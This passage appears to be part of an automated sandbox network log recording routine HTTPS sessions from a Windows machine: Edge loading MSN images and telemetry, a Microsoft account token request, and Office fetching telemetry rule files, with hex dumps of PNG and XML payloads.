2024-11-25 13:14:46 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49858	104.117.182.27	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:46 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 13:14:46 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sat, 23 Nov 2024 18:14:45 GMT X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: 5c4ddcbc-0d99-4ea0-a3c4-13e18d04c61f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=277139 Expires: Thu, 28 Nov 2024 18:13:45 GMT Date: Mon, 25 Nov 2024 13:14:46 GMT Connection: close
2024-11-25 13:14:46 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49855	104.117.182.27	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:46 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 13:14:46 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=87155 Expires: Tue, 26 Nov 2024 13:27:21 GMT Date: Mon, 25 Nov 2024 13:14:46 GMT Connection: close
2024-11-25 13:14:46 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49857	104.117.182.27	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:46 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 13:14:46 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=374492 Expires: Fri, 29 Nov 2024 21:16:18 GMT Date: Mon, 25 Nov 2024 13:14:46 GMT Connection: close
2024-11-25 13:14:46 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49859	18.164.116.98	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:46 UTC	1012	OUT	GET /b2?rn=1732540483020&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=331C9059D5CC671123A1851BD4CD6669&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1CAdb95554df9bb41dd4e1e1732540484; XID=1CAdb95554df9bb41dd4e1e1732540484
2024-11-25 13:14:46 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Mon, 25 Nov 2024 13:14:46 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 ae4e162eb9c0a598fcb6475e70daa530.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P6 X-Amz-Cf-Id: 44C7o-M1tQEGPHg22tX-n7WmrkRkxDOYwSihKCwmifC1dv4a29d0jA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49847	40.79.167.8	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:46 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732540483018&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3781 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=331C9059D5CC671123A1851BD4CD6669; _EDGE_S=F=1&SID=0818A893694C69AF2D9ABDD1687E68F5; _EDGE_V=1
2024-11-25 13:14:46 UTC	3781	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 31 33 3a 31 34 3a 34 33 2e 30 31 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 63 37 63 32 61 30 65 2d 61 36 33 66 2d 34 63 31 31 2d 62 34 34 38 2d 30 32 63 39 30 64 37 36 62 32 39 37 22 2c 22 65 70 6f 63 68 22 3a 22 32 38 32 31 33 37 35 35 39 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-25T13:14:43.014Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"bc7c2a0e-a63f-4c11-b448-02c90d76b297","epoch":"2821375596"},"app":{"locale
2024-11-25 13:14:47 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=1832f42d344749ad9ebdc26899baccd8&HASH=1832&LV=202411&V=4&LU=1732540486777; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 13:14:46 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=5ca798caf2384839afa650d23683186d; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 13:44:46 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3759 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 13:14:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49849	20.190.177.147	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:46 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-25 13:14:46 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 13:14:47 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 13:13:46 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C533_SN1 x-ms-request-id: f0e5301a-4f86-4858-924a-bd20d541d02b PPServer: PPV: 30 H: SN1PEPF0002F905 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 13:14:46 GMT Connection: close Content-Length: 11389
2024-11-25 13:14:47 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:46 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:46 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: c24f93c3-601e-00ab-62a8-3e66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131446Z-178bfbc474b9xljthC1NYCtw94000000079g00000000fv3r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:46 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:46 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:46 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:46 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 62f36519-501e-0016-468c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131446Z-174c587ffdfgcs66hC1TEB69cs00000005ug00000000cs82 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:46 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.5	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:46 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:47 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:46 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 974535d3-001e-002b-30bf-3e99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131446Z-178bfbc474bnwsh4hC1NYC2ubs00000007fg00000000e9an x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:47 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:46 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
